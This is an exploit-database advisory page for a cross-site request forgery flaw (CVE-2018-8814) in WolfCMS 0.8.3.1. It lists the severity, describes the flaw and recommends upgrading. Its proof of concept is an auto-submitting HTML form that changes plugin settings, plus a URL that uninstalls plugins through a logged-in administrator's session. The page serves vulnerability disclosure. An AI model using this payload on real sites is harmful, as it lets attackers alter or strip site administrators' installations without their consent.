WolfCMS 0.8.3.1 Cross Site Request Forgery

vendor:

WolfCMS

by:

Sureshbabu Narvaneni

6.5

CVSS

MEDIUM

Cross-site request forgery (CSRF)

352

CWE

Product Name: WolfCMS

Affected Version From: 0.8.3.1

Affected Version To: 0.8.3.1

Patch Exists: YES

Related CWE: CVE-2018-8814

CPE: wolfcms

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Win7 Enterprise x86/Kali Linux 4.12 i686

2018

WolfCMS 0.8.3.1 Cross Site Request Forgery

Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1 allows remote attackers to hijack the authentication of users for requests that modify plugin/[pluginname]/settings and can uninstall plugins by sending malicious request.

Mitigation:

Upgrade to latest release.

Source

Exploit-DB raw data:

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# Exploit Title: WolfCMS 0.8.3.1 Cross Site Request Forgery
# Google Dork: N/A
# Date: 04-04-2018
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# Exploit Author: Sureshbabu Narvaneni#
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# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.wolfcms.org
# Software Link:

# Affected Version: 0.8.3.1
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-8814
#
# 1. Vendor Description:
#
# Light-weight, fast, simple and powerful CMS. PHP-based, easily extended
CMS. Uses MySQL, SQLite or (from 0.7)
# PostgreSQL for db. Simple drag & drop page hierarchy. Open source,
licensed under GPLv3.
#
# 2. Technical Description:
#
# Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1
allows remote attackers to hijack the
# authentication of users for requests that modify
plugin/[pluginname]/settings and can uninstall plugins by sending
# malicious request.
#
# 3. Proof Of Concept:
#
# Send below request to logged in user to change the plugin settings.
#
#<html>
#  <body>
#    <form action="http://[URL]/wolf/wolfcms/?/admin/plugin/archive/save"
method="POST">
#      <input type="hidden" name="settings&#91;use&#95;dates&#93;"
value="1" />
#      <input type="hidden" name="commit" value="Save" />
#      <input type="submit" value="Submit request" />
#    </form>
#     <script>
#      document.forms[0].submit();
#            </script>
# </body>
#</html>
#
# Share the below URL to uninstall any plugin remotely.
#
# http://[url]/wolfcms/?/admin/setting/uninstall_plugin/[pluginname]
#
#
# 4. Solution:
#
# Upgrade to latest release.
# http://www.wolfcms.org/blog.html
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8814
# https://github.com/wolfcms/wolfcms/issues/671
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